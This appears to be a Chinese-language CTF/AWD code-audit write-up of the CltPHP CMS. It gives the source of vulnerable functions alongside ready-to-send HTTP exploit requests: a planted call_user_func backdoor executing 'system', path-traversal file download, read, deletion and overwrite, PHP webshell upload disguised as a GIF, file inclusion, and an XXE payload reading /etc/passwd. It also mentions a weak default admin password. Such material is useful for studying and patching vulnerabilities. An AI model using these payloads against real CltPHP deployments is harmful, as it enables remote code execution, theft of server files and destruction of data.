代码审计之cltphp
管理员弱口令
http://awd1/admin/index/index.html
admin/admin123
后台LOGO文件上传RCE


http://awd1/public//uploads//20240403//8accfcc2913a74644566dd05148479bc.php
注意:注意访问拼接时的路由

后门命令执行
D:\phpstudy\WWW\awd1\app\admin\controller\Login.php
<?php
namespace app\admin\controller;
use think\Controller;
use app\admin\model\Admin;
class Login extends Controller
{
public function _initialize(){
if (session('aid')) {
$this->redirect('index/index');
}
}
private $cache_model,$system;
public function index(){
if(request()->isPost()) {
$admin = new Admin();
$data = input('post.');
//if(!$this->check($data['captcha'])){
// return json(array('code' => 0, 'msg' => '验证码错误'));
//}
$num = $admin->login($data);
if($num == 1){
return json(['code' => 1, 'msg' => '登录成功!', 'url' => url('index/index')]);
}else {
return json(array('code' => 0, 'msg' => '用户名或者密码错误,重新输入!'));
}
}else{
$this->cache_model=array('Module','Role','Category','Posid','Field','System');
$this->system = F('System');
if(empty($this->system)){
foreach($this->cache_model as $r){
savecache($r);
}
}
return $this->fetch();
}
}
public function check($code){
return captcha_check($code);
}
public function backdoor(){
if ($_SERVER['HTTP_X_FORWARDED_FOR']==='8.8.8.8') {
phpinfo();
call_user_func($_GET['hongkexueyuan'],$_COOKIE['cmd']);
}
}
}
backdoor函数调用call_user_func,可以命令执行
GET /admin/login/backdoor?hongkexueyuan=system HTTP/1.1
Host: awd1
Cookie: cmd=whoami
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
X-Forwarded-For: 8.8.8.8
Accept-Language: zh-CN,zh;q=0.9

任意文件夹读取【鸡肋】
http://awd1/deldom.php?dir=D:\
<?php
if (isset($_GET['dir'])){
$basedir=$_GET['dir'];
}else{
$basedir = '.';
}
$auto = 1;
checkdir($basedir);
function checkdir($basedir){
if ($dh = opendir($basedir)) {
while (($file = readdir($dh)) !== false) {
if ($file != '.' && $file != '..'){
if (!is_dir($basedir."/".$file)) {
echo "filename: $basedir/$file ".checkBOM("$basedir/$file")." <br>";
}else{
$dirname = $basedir."/".$file;
checkdir($dirname);
}
}
}
closedir($dh);
}
}
function checkBOM ($filename) {
global $auto;
$contents = file_get_contents($filename);
$charset[1] = substr($contents, 0, 1);
$charset[2] = substr($contents, 1, 1);
$charset[3] = substr($contents, 2, 1);
if (ord($charset[1]) == 239 && ord($charset[2]) == 187 && ord($charset[3]) == 191) {
if ($auto == 1) {
$rest = substr($contents, 3);
rewrite ($filename, $rest);
return ("<font color=red>BOM found, automatically removed._<a href=http://www.hengidc.com>http://www.hengidc.com</a></font>");
} else {
return ("<font color=red>BOM found.</font>");
}
}
else return ("BOM Not Found.");
}
function rewrite ($filename, $data) {
$filenum = fopen($filename, "w");
flock($filenum, LOCK_EX);
fwrite($filenum, $data);
fclose($filenum);
}
?>
可以访问任意文件夹下有什么内容,但是不能读取,只是opendir

只能遍历文件,读不了文件实际内容
后台wechat文件上传RCE
http://awd1/admin/index/index.html


任意文件下载【后台】
app\admin\controller\Database.php
关键代码
//下载
public function downFile() {
$file = $this->request->param('file');
$type = $this->request->param('type');
if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {
$this->error("下载地址不存在");
}
$path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);
$filePath = $path[$type] . $file;
if (!file_exists($filePath)) {
$this->error("该文件不存在,可能是被删除");
}
$filename = basename($filePath);
header("Content-type: application/octet-stream");
header('Content-Disposition: attachment; filename="' . $filename . '"');
header("Content-Length: " . filesize($filePath));
readfile($filePath);
}
readfile($filePath);任意读取下载文件,直接让type满足条件,即可跨目录任意文件读

GET /admin/Database/downFile?file=../../../../../flag.txt&type=sql HTTP/1.1
Host: awd1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skin=0; PHPSESSID=0rnrqqcti770h61q2vll1scnb5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
zip和sql的type跨目录级数不一样

GET /admin/Database/downFile?file=../../../../../../flag.txt&type=zip HTTP/1.1
Host: awd1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skin=0; PHPSESSID=0rnrqqcti770h61q2vll1scnb5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
任意文件删除
app\admin\controller\Database.php
关键代码
//删除sql文件
public function delSqlFiles() {
$batchFlag = input('param.batchFlag', 0, 'intval');
//批量删除
if ($batchFlag) {
$files = input('key', array());
}else {
$files[] = input('sqlfilename' , '');
}
if (empty($files)) {
$result['msg'] = '请选择要删除的sql文件!';
$result['code'] = 0;
return $result;
}
foreach ($files as $file) {
$a = unlink($this->datadir.'/' . $file);
}
if($a){
$result['msg'] = '删除成功!';
$result['url'] = url('restore');
$result['code'] = 1;
return $result;
}else{
$result['msg'] = '删除失败!';
$result['code'] = 0;
return $result;
}
}
http://awd1/admin/Database/delSqlFiles?sqlfilename=../../../../../flag.txt
可以搅屎,让对方down机,但是任意文件删除肯定不能得到flag
任意文件读取
app\admin\controller\Database.php
部分关键代码
//执行还原数据库操作
public function restoreData() {
header('Content-Type: text/html; charset=UTF-8');
$filename = input('sqlfilepre');
$file = $this->datadir.$filename;
//读取数据文件
$sqldata = file_get_contents($file);
$sqlFormat = $this->sql_split($sqldata,config('prefix'));
foreach ((array)$sqlFormat as $sql){
$sql = trim($sql);
if (strstr($sql, 'CREATE TABLE')){
preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches);
$ret = $this->excuteQuery($sql);
}else{
$ret =$this->excuteQuery($sql);
}
}
$result['msg'] = '数据库还原成功!';
$result['url'] = url('database/database');
$result['code'] = 1;
return $result;
}
这个其实真不容易发现,因为他的这个读取的内容实际上是在报错中体现出来的,还是那句话要是发现可能是漏洞的,那就试试!!!
http://awd1/admin/Database/restoreData?sqlfilepre=../../../../../flag.txt

这里其实测试一下会发现显示内容是有长度的,毕竟是报错,只会显示一部分内容,长度短的话能显示完,正常flag是能显示完的


任意文件写入【后台】
app\admin\controller\Template.php
public function insert(){
$filename = input('post.file');
$type = input('post.type');
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename.'.'.$type;
if(file_exists($file)){
$result['msg'] = '文件已经存在!';
$result['status'] = 0;
return $result;
}
file_put_contents($file,htmlspecialchars_decode(stripslashes(input('post.content'))));
$result['msg'] = '添加成功!';
if($type==$this->viewSuffix){
$result['url'] = url('index');
}else{
$result['url'] = url('index',array('type'=>$type));
}
$result['code'] = 1;
return $result;
}

POST /admin/Template/insert.html HTTP/1.1
Host: awd1
Referer: http://awd1/admin/Template/add.html
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Origin: http://awd1
Cookie: skin=0; PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 57
file=../1&type=php&content=<?php phpinfo();?>
这里file需要穿越到前边来才能上传php文件,测试了一下原因就是home目录里面没php文件夹,所以没办法传进去,当新建一个php文件夹,直接当前目录也是可以上传php文件的,如下【必须是名字是php的文件夹】

任意文件修改【后台】
app\admin\controller\Template.php
public function update(){
$filename = input('post.file');
$type= input('param.type') ? input('param.type') : $this->viewSuffix;
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename;
if(file_exists($file)){
file_put_contents($file,htmlspecialchars_decode(stripslashes(input('content'))));
$result['msg'] = '修改成功!';
if($type==$this->viewSuffix){
$result['url'] = url('index');
}else{
$result['url'] = url('index',array('type'=>$type));
}
$result['code'] = 1;
return $result;
}else{
$result['msg'] = '文件不存在!';
$result['code'] = 0;
return $result;
}
}
只能修改存在文件的文件内容,跨目录随便找个php文件即可
POST /admin/Template/update.html HTTP/1.1
Host: awd1
Accept: */*
Referer: http://awd1/admin/Template/edit/file/1.php.html.html
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://awd1
Cookie: skin=0; PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 58
file=../.././../index.php&type=&content=<?php phpinfo();?>

任意文件删除【后台】
app\admin\controller\Template.php
public function delete(){
$filename = input('param.file');
$type = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));
$path = $type==$this->viewSuffix ? $path=$this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename;
if(file_exists($file)){
unlink($file);
if($type==$this->viewSuffix){
$this->redirect('index');
}else{
$this->redirect('index',array('type'=>$type));
}
}else{
if($type==$this->viewSuffix){
$this->redirect('index');
}else{
$this->redirect('index',array('type'=>$type));
}
}
}
这三个都是一个漏洞成因,这个任意文件删除也是跨目录删除已有文件
GET /admin/Template/delete.html?file=../../../../1.txt HTTP/1.1
Host: awd1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Referer: http://awd1/admin/Template/index.html
Cookie: skin=0; PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Upgrade-Insecure-Requests: 1
前台普通用户上传RCE
app\user\controller\UpFiles.php
<?php
namespace app\user\controller;
class UpFiles extends Common
{
public function upload(){
// 获取上传文件表单字段名
$fileKey = array_keys(request()->file());
// 获取表单上传文件
$file = request()->file($fileKey['0']);
// 移动到框架应用根目录/public/uploads/ 目录下
$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
if($info){
$result['code'] = 1;
$result['info'] = '图片上传成功!';
$path=str_replace('\\','/',$info->getSaveName());
$result['url'] = '/uploads/'. $path;
return $result;
}else{
// 上传失败获取错误信息
$result['code'] =0;
$result['info'] = '图片上传失败!';
$result['url'] = '';
return $result;
}
}
}
任意文件上传
POST /user/upFiles/upload HTTP/1.1
Host: awd1
Cookie: PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://awd1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiiPSm6Fu5YdTnTsY
Accept-Encoding: gzip, deflate
Referer: http://awd1/user/set/index.html
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
Content-Length: 192
------WebKitFormBoundaryiiPSm6Fu5YdTnTsY
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
GIF89a
<?php phpinfo();?>
------WebKitFormBoundaryiiPSm6Fu5YdTnTsY--
任意文件包含【后台】
app\admin\controller\Template.php
public function edit(){
$filename = input('param.file');
if(input('param.type')){
$type = input('param.type');
}else{
$type = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));
}
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename;
if(file_exists($file)){
$file=iconv('gb2312','utf-8',$file);
$content = htmlspecialchars(file_get_contents($file));
$this->assign ( 'filename',$filename );
$this->assign ( 'title','修改模版内容' );
$this->assign ( 'file',$file );
$this->assign ( 'content',$content );
}else{
$this->error('文件不存在!');
}
return $this->fetch();
}
http://awd1//admin/Template/edit.html?file=../../../../../../../flag.txt

XXE
app\wchat\controller\Wchat.php
public function getMessage()
{
libxml_disable_entity_loader (false);
$from_xml = file_get_contents('php://input');
if (empty($from_xml)) {
return;
}
$signature = input('msg_signature', '');
$signature = input('timestamp', '');
$nonce = input('nonce', '');
$url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
$ticket_xml = $from_xml;
$postObj = simplexml_load_string($ticket_xml, 'SimpleXMLElement', LIBXML_NOCDATA); //漏洞点
$this->instance_id = 0;
if (!empty($postObj->MsgType)) {
switch ($postObj->MsgType) {
case "text":
//用户发的消息 存入表中
//$this->addUserMessage((string)$postObj->FromUserName, (string) $postObj->Content, (string) $postObj->MsgType);
$resultStr = $this->MsgTypeText($postObj);
break;
case "event":
$resultStr = $this->MsgTypeEvent($postObj);
break;
default:
$resultStr = "";
break;
}
}
if (!empty($resultStr)) {
echo $resultStr;
} else {
echo '';
}
}
直接任意文件读取
POST /wchat/wchat/getMessage.html HTTP/1.1
Host: awd1
Cookie: PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert[
<!ENTITY hzy SYSTEM "file:///etc/passwd">
]>
<root>
<MsgType>111</MsgType>
<ToUserName>&hzy;</ToUserName>
</root>